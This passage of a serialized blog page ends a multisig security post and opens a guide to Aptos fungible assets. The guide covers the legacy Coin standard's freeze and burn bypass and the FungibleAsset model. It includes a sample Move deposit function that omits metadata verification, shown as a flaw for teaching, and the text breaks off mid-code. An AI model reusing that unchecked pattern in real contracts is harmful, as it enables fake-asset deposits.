",{"type":26,"tag":163,"props":98795,"children":98798},{"href":98796,"rel":98797},"https://github.com/pcaversaccio/safe-tx-hashes-util",[167],[98799],{"type":32,"value":98800},"validate Safe transaction hashes",{"type":32,"value":98802},". As the space matures, we hope more open source tooling will come to light.",{"type":26,"tag":98804,"props":98805,"children":98808},"section",{"className":98806,"dataFootnotes":8},[98807],"footnotes",[98809,98816],{"type":26,"tag":27,"props":98810,"children":98813},{"className":98811,"id":98393},[98812],"sr-only",[98814],{"type":32,"value":98815},"Footnotes",{"type":26,"tag":6712,"props":98817,"children":98818},{},[98819],{"type":26,"tag":2044,"props":98820,"children":98822},{"id":98821},"user-content-fn-1",[98823,98825,98833,98835],{"type":32,"value":98824},"The original version of this blog post did not consider a malicious fee-payer. Thanks to ",{"type":26,"tag":163,"props":98826,"children":98830},{"href":98827,"rel":98828,":style":98829},"https://twitter.com/PierreArowana",[167],"color: #B1D0EE; text-decoration: underline;",[98831],{"type":32,"value":98832},"@PierreArowana",{"type":32,"value":98834}," for pointing this out to me. ",{"type":26,"tag":163,"props":98836,"children":98841},{"href":98837,"ariaLabel":98838,"className":98839,"dataFootnoteBackref":8},"#user-content-fnref-1","Back to reference 1",[98840],"data-footnote-backref",[98842],{"type":32,"value":98843},"↩",{"type":26,"tag":9282,"props":98845,"children":98846},{},[98847],{"type":32,"value":9286},{"title":8,"searchDepth":6770,"depth":6770,"links":98849},[98850,98854,98855,98856],{"id":97021,"depth":6770,"text":97024,"children":98851},[98852,98853],{"id":97032,"depth":6779,"text":97035},{"id":97313,"depth":6779,"text":97316},{"id":98034,"depth":6770,"text":98037},{"id":98780,"depth":6770,"text":98783},{"id":98393,"depth":6770,"text":98815},"content:blog:2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security",{"_path":98861,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":98862,"description":98863,"image":98864,"date":98866,"isFeatured":17,"onBlogPage":17,"tags":98867,"body":98869,"_type":6799,"_id":105605,"_source":6801,"_file":105606,"_stem":105607,"_extension":6804},"/blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets","Hitchhiker's Guide to Aptos Fungible Assets","We take a deep dive into Aptos’ implementation of fungible assets, exploring the intricacies hidden within its functions, objects, and interactions. While the Fungible Asset model was designed to address the limitations and security flaws of the legacy Coin standard, it also introduced new challenges and vulnerabilities that developers should be aware of.",{"src":98865,"width":97001,"height":97002},"/posts/aptos-guide/title.png","2025-02-10",[98868],"aptos",{"type":23,"children":98870,"toc":105589},[98871,98884,98889,98898,98904,98932,99009,99050,99084,99245,99264,99345,99385,99413,99430,99435,99443,99448,99454,99475,99554,99587,99595,99608,99613,99997,100002,100007,100013,100018,100030,100135,100173,100176,100194,100506,100511,100523,100529,100555,100576,100581,100762,100782,100788,100808,100820,100825,100831,100843,100907,100934,100958,101179,101182,101201,101311,101367,101503,101530,101536,101563,101812,101840,102142,102175,102188,102214,102247,102551,102563,102840,102854,103174,103193,103199,103231,103271,103372,103392,103512,103529,103603,103615,103703,103724,103730,103735,103740,103757,103778,104149,104208,104213,104666,104671,104707,104713,104725,104746,104772,104981,104995,105249,105261,105288,105439,105458,105488,105492,105503,105508,105521,105585],{"type":26,"tag":39,"props":98872,"children":98873},{},[98874,98876,98882],{"type":32,"value":98875},"Aptos’ fungible asset model is a complex component of its ecosystem, designed to address the limitations of its predecessor — the ",{"type":26,"tag":83,"props":98877,"children":98879},{"className":98878},[],[98880],{"type":32,"value":98881},"coin",{"type":32,"value":98883}," standard. While the new model aims to enhance functionality and security, it also comes with its own set of challenges.",{"type":26,"tag":39,"props":98885,"children":98886},{},[98887],{"type":32,"value":98888},"In this blog post, we'll closely examine Aptos's coin and fungible asset models, exploring their history and connection. We will examine key aspects of the fungible asset framework, including real-world examples of vulnerabilities that were identified and addressed, with the goal of improving security and reliability — all to help you build more secure and reliable applications.",{"type":26,"tag":98890,"props":98891,"children":98892},"important",{},[98893],{"type":26,"tag":39,"props":98894,"children":98895},{},[98896],{"type":32,"value":98897},"All issues mentioned were identified and addressed during Aptos' rigorous pre-release audits, demonstrating the project's dedication to delivering a robust and secure environment from day one.",{"type":26,"tag":27,"props":98899,"children":98901},{"id":98900},"aptos-coin-standard",[98902],{"type":32,"value":98903},"Aptos Coin standard",{"type":26,"tag":39,"props":98905,"children":98906},{},[98907,98909,98915,98917,98922,98923,98930],{"type":32,"value":98908},"In the beginning, Aptos used ",{"type":26,"tag":83,"props":98910,"children":98912},{"className":98911},[],[98913],{"type":32,"value":98914},"Coin",{"type":32,"value":98916},". It is still in use, although it is now considered \"legacy\". ",{"type":26,"tag":83,"props":98918,"children":98920},{"className":98919},[],[98921],{"type":32,"value":98914},{"type":32,"value":1681},{"type":26,"tag":163,"props":98924,"children":98927},{"href":98925,"rel":98926},"https://github.com/aptos-labs/aptos-core/blob/1381c93fd5a656f16fb326d4ffe371947554a330/aptos-move/framework/aptos-framework/sources/coin.move#L119-L123",[167],[98928],{"type":32,"value":98929},"defined",{"type":32,"value":98931}," in Aptos as follows:",{"type":26,"tag":207,"props":98933,"children":98935},{"className":56140,"code":98934,"language":56139,"meta":8,"style":8},"struct Coin\u003Cphantom CoinType> has store {\n    value: u64,\n}\n",[98936],{"type":26,"tag":83,"props":98937,"children":98938},{"__ignoreMap":8},[98939,98982,99002],{"type":26,"tag":217,"props":98940,"children":98941},{"class":7028,"line":7029},[98942,98946,98951,98955,98960,98965,98969,98974,98978],{"type":26,"tag":217,"props":98943,"children":98944},{"style":7154},[98945],{"type":32,"value":12224},{"type":26,"tag":217,"props":98947,"children":98948},{"style":7119},[98949],{"type":32,"value":98950}," Coin",{"type":26,"tag":217,"props":98952,"children":98953},{"style":7048},[98954],{"type":32,"value":7289},{"type":26,"tag":217,"props":98956,"children":98957},{"style":7054},[98958],{"type":32,"value":98959},"phantom",{"type":26,"tag":217,"props":98961,"children":98962},{"style":7119},[98963],{"type":32,"value":98964}," CoinType",{"type":26,"tag":217,"props":98966,"children":98967},{"style":7048},[98968],{"type":32,"value":33564},{"type":26,"tag":217,"props":98970,"children":98971},{"style":7054},[98972],{"type":32,"value":98973},"has",{"type":26,"tag":217,"props":98975,"children":98976},{"style":7054},[98977],{"type":32,"value":79027},{"type":26,"tag":217,"props":98979,"children":98980},{"style":7048},[98981],{"type":32,"value":8064},{"type":26,"tag":217,"props":98983,"children":98984},{"class":7028,"line":6770},[98985,98990,98994,98998],{"type":26,"tag":217,"props":98986,"children":98987},{"style":7054},[98988],{"type":32,"value":98989},"    value",{"type":26,"tag":217,"props":98991,"children":98992},{"style":7149},[98993],{"type":32,"value":1473},{"type":26,"tag":217,"props":98995,"children":98996},{"style":7119},[98997],{"type":32,"value":91146},{"type":26,"tag":217,"props":98999,"children":99000},{"style":7048},[99001],{"type":32,"value":10953},{"type":26,"tag":217,"props":99003,"children":99004},{"class":7028,"line":6779},[99005],{"type":26,"tag":217,"props":99006,"children":99007},{"style":7048},[99008],{"type":32,"value":7184},{"type":26,"tag":39,"props":99010,"children":99011},{},[99012,99014,99020,99022,99028,99029,99035,99037,99042,99044,99049],{"type":32,"value":99013},"Aptos distinguishes coins by their type (",{"type":26,"tag":83,"props":99015,"children":99017},{"className":99016},[],[99018],{"type":32,"value":99019},"CoinType",{"type":32,"value":99021},") at compile time. For example, ",{"type":26,"tag":83,"props":99023,"children":99025},{"className":99024},[],[99026],{"type":32,"value":99027},"Coin\u003COtter>",{"type":32,"value":1308},{"type":26,"tag":83,"props":99030,"children":99032},{"className":99031},[],[99033],{"type":32,"value":99034},"Coin\u003CWeasel>",{"type":32,"value":99036}," represent different coins, and you cannot pass a ",{"type":26,"tag":83,"props":99038,"children":99040},{"className":99039},[],[99041],{"type":32,"value":99034},{"type":32,"value":99043}," to a function expecting ",{"type":26,"tag":83,"props":99045,"children":99047},{"className":99046},[],[99048],{"type":32,"value":99027},{"type":32,"value":180},{"type":26,"tag":39,"props":99051,"children":99052},{},[99053,99055,99060,99062,99067,99069,99074,99076,99082],{"type":32,"value":99054},"The type signature reveals why ",{"type":26,"tag":83,"props":99056,"children":99058},{"className":99057},[],[99059],{"type":32,"value":98914},{"type":32,"value":99061}," has become a legacy standard. ",{"type":26,"tag":83,"props":99063,"children":99065},{"className":99064},[],[99066],{"type":32,"value":98914},{"type":32,"value":99068}," has only the ",{"type":26,"tag":83,"props":99070,"children":99072},{"className":99071},[],[99073],{"type":32,"value":78989},{"type":32,"value":99075}," ability and uses a ",{"type":26,"tag":83,"props":99077,"children":99079},{"className":99078},[],[99080],{"type":32,"value":99081},"CoinStore",{"type":32,"value":99083}," wrapper to store the coin and metadata:",{"type":26,"tag":207,"props":99085,"children":99087},{"className":56140,"code":99086,"language":56139,"meta":8,"style":8},"struct CoinStore\u003Cphantom CoinType> has key {\n    coin: Coin\u003CCoinType>,\n    frozen: bool,\n    deposit_events: EventHandle\u003CDepositEvent>,\n    withdraw_events: EventHandle\u003CWithdrawEvent>,\n}\n",[99088],{"type":26,"tag":83,"props":99089,"children":99090},{"__ignoreMap":8},[99091,99131,99159,99179,99209,99238],{"type":26,"tag":217,"props":99092,"children":99093},{"class":7028,"line":7029},[99094,99098,99103,99107,99111,99115,99119,99123,99127],{"type":26,"tag":217,"props":99095,"children":99096},{"style":7154},[99097],{"type":32,"value":12224},{"type":26,"tag":217,"props":99099,"children":99100},{"style":7119},[99101],{"type":32,"value":99102}," CoinStore",{"type":26,"tag":217,"props":99104,"children":99105},{"style":7048},[99106],{"type":32,"value":7289},{"type":26,"tag":217,"props":99108,"children":99109},{"style":7054},[99110],{"type":32,"value":98959},{"type":26,"tag":217,"props":99112,"children":99113},{"style":7119},[99114],{"type":32,"value":98964},{"type":26,"tag":217,"props":99116,"children":99117},{"style":7048},[99118],{"type":32,"value":33564},{"type":26,"tag":217,"props":99120,"children":99121},{"style":7054},[99122],{"type":32,"value":98973},{"type":26,"tag":217,"props":99124,"children":99125},{"style":7054},[99126],{"type":32,"value":78245},{"type":26,"tag":217,"props":99128,"children":99129},{"style":7048},[99130],{"type":32,"value":8064},{"type":26,"tag":217,"props":99132,"children":99133},{"class":7028,"line":6770},[99134,99139,99143,99147,99151,99155],{"type":26,"tag":217,"props":99135,"children":99136},{"style":7054},[99137],{"type":32,"value":99138},"    coin",{"type":26,"tag":217,"props":99140,"children":99141},{"style":7149},[99142],{"type":32,"value":1473},{"type":26,"tag":217,"props":99144,"children":99145},{"style":7119},[99146],{"type":32,"value":98950},{"type":26,"tag":217,"props":99148,"children":99149},{"style":7048},[99150],{"type":32,"value":7289},{"type":26,"tag":217,"props":99152,"children":99153},{"style":7119},[99154],{"type":32,"value":99019},{"type":26,"tag":217,"props":99156,"children":99157},{"style":7048},[99158],{"type":32,"value":77713},{"type":26,"tag":217,"props":99160,"children":99161},{"class":7028,"line":6779},[99162,99167,99171,99175],{"type":26,"tag":217,"props":99163,"children":99164},{"style":7054},[99165],{"type":32,"value":99166},"    frozen",{"type":26,"tag":217,"props":99168,"children":99169},{"style":7149},[99170],{"type":32,"value":1473},{"type":26,"tag":217,"props":99172,"children":99173},{"style":7119},[99174],{"type":32,"value":79568},{"type":26,"tag":217,"props":99176,"children":99177},{"style":7048},[99178],{"type":32,"value":10953},{"type":26,"tag":217,"props":99180,"children":99181},{"class":7028,"line":7140},[99182,99187,99191,99196,99200,99205],{"type":26,"tag":217,"props":99183,"children":99184},{"style":7054},[99185],{"type":32,"value":99186},"    deposit_events",{"type":26,"tag":217,"props":99188,"children":99189},{"style":7149},[99190],{"type":32,"value":1473},{"type":26,"tag":217,"props":99192,"children":99193},{"style":7119},[99194],{"type":32,"value":99195}," EventHandle",{"type":26,"tag":217,"props":99197,"children":99198},{"style":7048},[99199],{"type":32,"value":7289},{"type":26,"tag":217,"props":99201,"children":99202},{"style":7119},[99203],{"type":32,"value":99204},"DepositEvent",{"type":26,"tag":217,"props":99206,"children":99207},{"style":7048},[99208],{"type":32,"value":77713},{"type":26,"tag":217,"props":99210,"children":99211},{"class":7028,"line":7165},[99212,99217,99221,99225,99229,99234],{"type":26,"tag":217,"props":99213,"children":99214},{"style":7054},[99215],{"type":32,"value":99216},"    withdraw_events",{"type":26,"tag":217,"props":99218,"children":99219},{"style":7149},[99220],{"type":32,"value":1473},{"type":26,"tag":217,"props":99222,"children":99223},{"style":7119},[99224],{"type":32,"value":99195},{"type":26,"tag":217,"props":99226,"children":99227},{"style":7048},[99228],{"type":32,"value":7289},{"type":26,"tag":217,"props":99230,"children":99231},{"style":7119},[99232],{"type":32,"value":99233},"WithdrawEvent",{"type":26,"tag":217,"props":99235,"children":99236},{"style":7048},[99237],{"type":32,"value":77713},{"type":26,"tag":217,"props":99239,"children":99240},{"class":7028,"line":7178},[99241],{"type":26,"tag":217,"props":99242,"children":99243},{"style":7048},[99244],{"type":32,"value":7184},{"type":26,"tag":39,"props":99246,"children":99247},{},[99248,99250,99255,99257,99262],{"type":32,"value":99249},"However, an astute reader would note that this isn't the only place a ",{"type":26,"tag":83,"props":99251,"children":99253},{"className":99252},[],[99254],{"type":32,"value":98914},{"type":32,"value":99256}," can be stored. You can create your own ",{"type":26,"tag":83,"props":99258,"children":99260},{"className":99259},[],[99261],{"type":32,"value":98914},{"type":32,"value":99263}," wallet, which could look like this:",{"type":26,"tag":207,"props":99265,"children":99267},{"className":56140,"code":99266,"language":56139,"meta":8,"style":8},"struct DefinitelyLegitCoinStore\u003Cphantom CoinType> has key {\n    coin: Coin\u003CCoinType>\n}\n",[99268],{"type":26,"tag":83,"props":99269,"children":99270},{"__ignoreMap":8},[99271,99311,99338],{"type":26,"tag":217,"props":99272,"children":99273},{"class":7028,"line":7029},[99274,99278,99283,99287,99291,99295,99299,99303,99307],{"type":26,"tag":217,"props":99275,"children":99276},{"style":7154},[99277],{"type":32,"value":12224},{"type":26,"tag":217,"props":99279,"children":99280},{"style":7119},[99281],{"type":32,"value":99282}," DefinitelyLegitCoinStore",{"type":26,"tag":217,"props":99284,"children":99285},{"style":7048},[99286],{"type":32,"value":7289},{"type":26,"tag":217,"props":99288,"children":99289},{"style":7054},[99290],{"type":32,"value":98959},{"type":26,"tag":217,"props":99292,"children":99293},{"style":7119},[99294],{"type":32,"value":98964},{"type":26,"tag":217,"props":99296,"children":99297},{"style":7048},[99298],{"type":32,"value":33564},{"type":26,"tag":217,"props":99300,"children":99301},{"style":7054},[99302],{"type":32,"value":98973},{"type":26,"tag":217,"props":99304,"children":99305},{"style":7054},[99306],{"type":32,"value":78245},{"type":26,"tag":217,"props":99308,"children":99309},{"style":7048},[99310],{"type":32,"value":8064},{"type":26,"tag":217,"props":99312,"children":99313},{"class":7028,"line":6770},[99314,99318,99322,99326,99330,99334],{"type":26,"tag":217,"props":99315,"children":99316},{"style":7054},[99317],{"type":32,"value":99138},{"type":26,"tag":217,"props":99319,"children":99320},{"style":7149},[99321],{"type":32,"value":1473},{"type":26,"tag":217,"props":99323,"children":99324},{"style":7119},[99325],{"type":32,"value":98950},{"type":26,"tag":217,"props":99327,"children":99328},{"style":7048},[99329],{"type":32,"value":7289},{"type":26,"tag":217,"props":99331,"children":99332},{"style":7119},[99333],{"type":32,"value":99019},{"type":26,"tag":217,"props":99335,"children":99336},{"style":7048},[99337],{"type":32,"value":7281},{"type":26,"tag":217,"props":99339,"children":99340},{"class":7028,"line":6779},[99341],{"type":26,"tag":217,"props":99342,"children":99343},{"style":7048},[99344],{"type":32,"value":7184},{"type":26,"tag":39,"props":99346,"children":99347},{},[99348,99353,99355,99361,99363,99368,99370,99376,99378,99383],{"type":26,"tag":83,"props":99349,"children":99351},{"className":99350},[],[99352],{"type":32,"value":99081},{"type":32,"value":99354}," includes a ",{"type":26,"tag":83,"props":99356,"children":99358},{"className":99357},[],[99359],{"type":32,"value":99360},"frozen",{"type":32,"value":99362}," field, allowing the issuer to block transfers to and from the store. ",{"type":26,"tag":83,"props":99364,"children":99366},{"className":99365},[],[99367],{"type":32,"value":99081},{"type":32,"value":99369}," is also required for a ",{"type":26,"tag":83,"props":99371,"children":99373},{"className":99372},[],[99374],{"type":32,"value":99375},"burn_from",{"type":32,"value":99377}," operation, which withdraws the ",{"type":26,"tag":83,"props":99379,"children":99381},{"className":99380},[],[99382],{"type":32,"value":98881},{"type":32,"value":99384}," from the store and destroys it. Freezing and burning operations are essential i.e. for stablecoin issuers, using them as compliance tools to prevent unauthorized or illegal transactions and adhere to legal orders. Being able to bypass these restrictions with a custom wallet is an issue and can lead to severe consequences.",{"type":26,"tag":39,"props":99386,"children":99387},{},[99388,99390,99395,99397,99404,99406,99411],{"type":32,"value":99389},"Storing ",{"type":26,"tag":83,"props":99391,"children":99393},{"className":99392},[],[99394],{"type":32,"value":98881},{"type":32,"value":99396}," in a custom wallet is also a problem in terms of off-chain observability, as finding the stored coins in such setup is a difficult task. This is how the fungible asset ",{"type":26,"tag":163,"props":99398,"children":99401},{"href":99399,"rel":99400},"https://github.com/aptos-foundation/AIPs/blob/ac3da48db226cf2dbaf4df6f1f5109a4f1b2e604/aips/aip-21.md",[167],[99402],{"type":32,"value":99403},"AIP-21",{"type":32,"value":99405}," summarizes the ",{"type":26,"tag":83,"props":99407,"children":99409},{"className":99408},[],[99410],{"type":32,"value":98881},{"type":32,"value":99412}," problems:",{"type":26,"tag":35,"props":99414,"children":99415},{},[99416,99425],{"type":26,"tag":39,"props":99417,"children":99418},{},[99419,99423],{"type":26,"tag":217,"props":99420,"children":99421},{},[99422],{"type":32,"value":13251},{"type":32,"value":99424}," coin module has been deemed insufficient for current and future needs due to the rigidity of Move structs and the inherently poor extensibility.",{"type":26,"tag":39,"props":99426,"children":99427},{},[99428],{"type":32,"value":99429},"The existing Coin struct leverages the store ability allowing for assets on-chain to become untraceable. Creating challenges to off-chain observability and on-chain management, such as freezing or burning.",{"type":26,"tag":39,"props":99431,"children":99432},{},[99433],{"type":32,"value":99434},"And declares, that:",{"type":26,"tag":35,"props":99436,"children":99437},{},[99438],{"type":26,"tag":39,"props":99439,"children":99440},{},[99441],{"type":32,"value":99442},"Fungible assets addresses these issues.",{"type":26,"tag":39,"props":99444,"children":99445},{},[99446],{"type":32,"value":99447},"Let's find out whether this is indeed the case.",{"type":26,"tag":27,"props":99449,"children":99451},{"id":99450},"the-fungible-assets",[99452],{"type":32,"value":99453},"The fungible assets",{"type":26,"tag":39,"props":99455,"children":99456},{},[99457,99459,99465,99467,99474],{"type":32,"value":99458},"Aptos designed fungible assets as a new token standard to solve these problems. A ",{"type":26,"tag":83,"props":99460,"children":99462},{"className":99461},[],[99463],{"type":32,"value":99464},"FungibleAsset",{"type":32,"value":99466}," uses the ",{"type":26,"tag":163,"props":99468,"children":99471},{"href":99469,"rel":99470},"https://medium.com/@borispovod/move-hot-potato-pattern-bbc48a48d93c",[167],[99472],{"type":32,"value":99473},"hot-potato pattern",{"type":32,"value":1473},{"type":26,"tag":207,"props":99476,"children":99478},{"className":56140,"code":99477,"language":56139,"meta":8,"style":8},"struct FungibleAsset {\n    metadata: Object\u003CMetadata>,\n    amount: u64,\n}\n",[99479],{"type":26,"tag":83,"props":99480,"children":99481},{"__ignoreMap":8},[99482,99498,99528,99547],{"type":26,"tag":217,"props":99483,"children":99484},{"class":7028,"line":7029},[99485,99489,99494],{"type":26,"tag":217,"props":99486,"children":99487},{"style":7154},[99488],{"type":32,"value":12224},{"type":26,"tag":217,"props":99490,"children":99491},{"style":7119},[99492],{"type":32,"value":99493}," FungibleAsset",{"type":26,"tag":217,"props":99495,"children":99496},{"style":7048},[99497],{"type":32,"value":8064},{"type":26,"tag":217,"props":99499,"children":99500},{"class":7028,"line":6770},[99501,99506,99510,99515,99519,99524],{"type":26,"tag":217,"props":99502,"children":99503},{"style":7054},[99504],{"type":32,"value":99505},"    metadata",{"type":26,"tag":217,"props":99507,"children":99508},{"style":7149},[99509],{"type":32,"value":1473},{"type":26,"tag":217,"props":99511,"children":99512},{"style":7119},[99513],{"type":32,"value":99514}," Object",{"type":26,"tag":217,"props":99516,"children":99517},{"style":7048},[99518],{"type":32,"value":7289},{"type":26,"tag":217,"props":99520,"children":99521},{"style":7119},[99522],{"type":32,"value":99523},"Metadata",{"type":26,"tag":217,"props":99525,"children":99526},{"style":7048},[99527],{"type":32,"value":77713},{"type":26,"tag":217,"props":99529,"children":99530},{"class":7028,"line":6779},[99531,99535,99539,99543],{"type":26,"tag":217,"props":99532,"children":99533},{"style":7054},[99534],{"type":32,"value":83520},{"type":26,"tag":217,"props":99536,"children":99537},{"style":7149},[99538],{"type":32,"value":1473},{"type":26,"tag":217,"props":99540,"children":99541},{"style":7119},[99542],{"type":32,"value":91146},{"type":26,"tag":217,"props":99544,"children":99545},{"style":7048},[99546],{"type":32,"value":10953},{"type":26,"tag":217,"props":99548,"children":99549},{"class":7028,"line":7140},[99550],{"type":26,"tag":217,"props":99551,"children":99552},{"style":7048},[99553],{"type":32,"value":7184},{"type":26,"tag":39,"props":99555,"children":99556},{},[99557,99559,99564,99565,99570,99572,99577,99579,99586],{"type":32,"value":99558},"Unlike ",{"type":26,"tag":83,"props":99560,"children":99562},{"className":99561},[],[99563],{"type":32,"value":98914},{"type":32,"value":7599},{"type":26,"tag":83,"props":99566,"children":99568},{"className":99567},[],[99569],{"type":32,"value":99464},{"type":32,"value":99571}," types are defined at runtime through the ",{"type":26,"tag":83,"props":99573,"children":99575},{"className":99574},[],[99576],{"type":32,"value":99523},{"type":32,"value":99578}," field. This change was meant to ",{"type":26,"tag":163,"props":99580,"children":99583},{"href":99581,"rel":99582},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-21.md#specification",[167],[99584],{"type":32,"value":99585},"enhance extensibility",{"type":32,"value":1473},{"type":26,"tag":35,"props":99588,"children":99589},{},[99590],{"type":26,"tag":39,"props":99591,"children":99592},{},[99593],{"type":32,"value":99594},"An object can have other resources attached to provide additional context. For example, the metadata could define a gem of a given type, color, quality, and rarity, where ownership indicates the quantity or total weight owned of that type of gem.",{"type":26,"tag":39,"props":99596,"children":99597},{},[99598,99600,99606],{"type":32,"value":99599},"An important implication is that functions accepting ",{"type":26,"tag":83,"props":99601,"children":99603},{"className":99602},[],[99604],{"type":32,"value":99605},"FungibleAssets",{"type":32,"value":99607}," must verify the metadata to ensure valid assets.",{"type":26,"tag":39,"props":99609,"children":99610},{},[99611],{"type":32,"value":99612},"Let's consider a possible implementation of a protocol that takes in assets.",{"type":26,"tag":207,"props":99614,"children":99616},{"className":56140,"code":99615,"language":56139,"meta":8,"style":8},"public fun deposit\u003CT: key>(\n    sender: &signer, fa: FungibleAsset\n) acquires [...] {\n    assert_not_paused();\n    \n    let fa_amount = fungible_asset::amount(&fa);\n    let sender_address = address_of(sender);\n    check_compliance(fa_amount, sender_address);\n    \n    increase_deposit(get_vault(sender_address), fa_amount);\n    \n    primary_fungible_store::deposit(global_vault_address(), fa);\n    \n    event::emit(Deposit {sender_address, fa_amount})\n}\n",[99617],{"type":26,"tag":83,"props":99618,"children":99619},{"__ignoreMap":8},[99620,99656,99694,99719,99731,99738,99784,99818,99848,99855,99892,99899,99936,99943,99990],{"type":26,"tag":217,"props":99621,"children":99622},{"class":7028,"line":7029},[99623,99627,99631,99636,99640,99644,99648,99652],{"type":26,"tag":217,"props":99624,"children":99625},{"style":7054},[99626],{"type":32,"value":52893},{"type":26,"tag":217,"props":99628,"children":99629},{"style":7054},[99630],{"type":32,"value":64784},{"type":26,"tag":217,"props":99632,"children":99633},{"style":7054},[99634],{"type":32,"value":99635}," deposit",{"type":26,"tag":217,"props":99637,"children":99638},{"style":7048},[99639],{"type":32,"value":7289},{"type":26,"tag":217,"props":99641,"children":99642},{"style":7119},[99643],{"type":32,"value":178},{"type":26,"tag":217,"props":99645,"children":99646},{"style":7149},[99647],{"type":32,"value":1473},{"type":26,"tag":217,"props":99649,"children":99650},{"style":7054},[99651],{"type":32,"value":78245},{"type":26,"tag":217,"props":99653,"children":99654},{"style":7048},[99655],{"type":32,"value":56861},{"type":26,"tag":217,"props":99657,"children":99658},{"class":7028,"line":6770},[99659,99664,99668,99672,99676,99680,99685,99689],{"type":26,"tag":217,"props":99660,"children":99661},{"style":7054},[99662],{"type":32,"value":99663},"    sender",{"type":26,"tag":217,"props":99665,"children":99666},{"style":7149},[99667],{"type":32,"value":1473},{"type":26,"tag":217,"props":99669,"children":99670},{"style":7149},[99671],{"type":32,"value":10222},{"type":26,"tag":217,"props":99673,"children":99674},{"style":7054},[99675],{"type":32,"value":79834},{"type":26,"tag":217,"props":99677,"children":99678},{"style":7048},[99679],{"type":32,"value":7599},{"type":26,"tag":217,"props":99681,"children":99682},{"style":7054},[99683],{"type":32,"value":99684},"fa",{"type":26,"tag":217,"props":99686,"children":99687},{"style":7149},[99688],{"type":32,"value":1473},{"type":26,"tag":217,"props":99690,"children":99691},{"style":7119},[99692],{"type":32,"value":99693}," FungibleAsset\n",{"type":26,"tag":217,"props":99695,"children":99696},{"class":7028,"line":6779},[99697,99701,99706,99710,99714],{"type":26,"tag":217,"props":99698,"children":99699},{"style":7048},[99700],{"type":32,"value":8380},{"type":26,"tag":217,"props":99702,"children":99703},{"style":7054},[99704],{"type":32,"value":99705},"acquires",{"type":26,"tag":217,"props":99707,"children":99708},{"style":7048},[99709],{"type":32,"value":95870},{"type":26,"tag":217,"props":99711,"children":99712},{"style":7149},[99713],{"type":32,"value":13251},{"type":26,"tag":217,"props":99715,"children":99716},{"style":7048},[99717],{"type":32,"value":99718},"] {\n",{"type":26,"tag":217,"props":99720,"children":99721},{"class":7028,"line":7140},[99722,99727],{"type":26,"tag":217,"props":99723,"children":99724},{"style":7064},[99725],{"type":32,"value":99726},"    assert_not_paused",{"type":26,"tag":217,"props":99728,"children":99729},{"style":7048},[99730],{"type":32,"value":8217},{"type":26,"tag":217,"props":99732,"children":99733},{"class":7028,"line":7165},[99734],{"type":26,"tag":217,"props":99735,"children":99736},{"style":7048},[99737],{"type":32,"value":9890},{"type":26,"tag":217,"props":99739,"children":99740},{"class":7028,"line":7178},[99741,99745,99750,99754,99759,99763,99768,99772,99776,99780],{"type":26,"tag":217,"props":99742,"children":99743},{"style":7154},[99744],{"type":32,"value":77780},{"type":26,"tag":217,"props":99746,"children":99747},{"style":7054},[99748],{"type":32,"value":99749}," fa_amount",{"type":26,"tag":217,"props":99751,"children":99752},{"style":7149},[99753],{"type":32,"value":8993},{"type":26,"tag":217,"props":99755,"children":99756},{"style":7048},[99757],{"type":32,"value":99758}," fungible_asset",{"type":26,"tag":217,"props":99760,"children":99761},{"style":7149},[99762],{"type":32,"value":56166},{"type":26,"tag":217,"props":99764,"children":99765},{"style":7064},[99766],{"type":32,"value":99767},"amount",{"type":26,"tag":217,"props":99769,"children":99770},{"style":7048},[99771],{"type":32,"value":1851},{"type":26,"tag":217,"props":99773,"children":99774},{"style":7149},[99775],{"type":32,"value":9804},{"type":26,"tag":217,"props":99777,"children":99778},{"style":7054},[99779],{"type":32,"value":99684},{"type":26,"tag":217,"props":99781,"children":99782},{"style":7048},[99783],{"type":32,"value":7669},{"type":26,"tag":217,"props":99785,"children":99786},{"class":7028,"line":7389},[99787,99791,99796,99800,99805,99809,99814],{"type":26,"tag":217,"props":99788,"children":99789},{"style":7154},[99790],{"type":32,"value":77780},{"type":26,"tag":217,"props":99792,"children":99793},{"style":7054},[99794],{"type":32,"value":99795}," sender_address",{"type":26,"tag":217,"props":99797,"children":99798},{"style":7149},[99799],{"type":32,"value":8993},{"type":26,"tag":217,"props":99801,"children":99802},{"style":7064},[99803],{"type":32,"value":99804}," address_of",{"type":26,"tag":217,"props":99806,"children":99807},{"style":7048},[99808],{"type":32,"value":1851},{"type":26,"tag":217,"props":99810,"children":99811},{"style":7054},[99812],{"type":32,"value":99813},"sender",{"type":26,"tag":217,"props":99815,"children":99816},{"style":7048},[99817],{"type":32,"value":7669},{"type":26,"tag":217,"props":99819,"children":99820},{"class":7028,"line":7406},[99821,99826,99830,99835,99839,99844],{"type":26,"tag":217,"props":99822,"children":99823},{"style":7064},[99824],{"type":32,"value":99825},"    check_compliance",{"type":26,"tag":217,"props":99827,"children":99828},{"style":7048},[99829],{"type":32,"value":1851},{"type":26,"tag":217,"props":99831,"children":99832},{"style":7054},[99833],{"type":32,"value":99834},"fa_amount",{"type":26,"tag":217,"props":99836,"children":99837},{"style":7048},[99838],{"type":32,"value":7599},{"type":26,"tag":217,"props":99840,"children":99841},{"style":7054},[99842],{"type":32,"value":99843},"sender_address",{"type":26,"tag":217,"props":99845,"children":99846},{"style":7048},[99847],{"type":32,"value":7669},{"type":26,"tag":217,"props":99849,"children":99850},{"class":7028,"line":7439},[99851],{"type":26,"tag":217,"props":99852,"children":99853},{"style":7048},[99854],{"type":32,"value":9890},{"type":26,"tag":217,"props":99856,"children":99857},{"class":7028,"line":7487},[99858,99863,99867,99872,99876,99880,99884,99888],{"type":26,"tag":217,"props":99859,"children":99860},{"style":7064},[99861],{"type":32,"value":99862},"    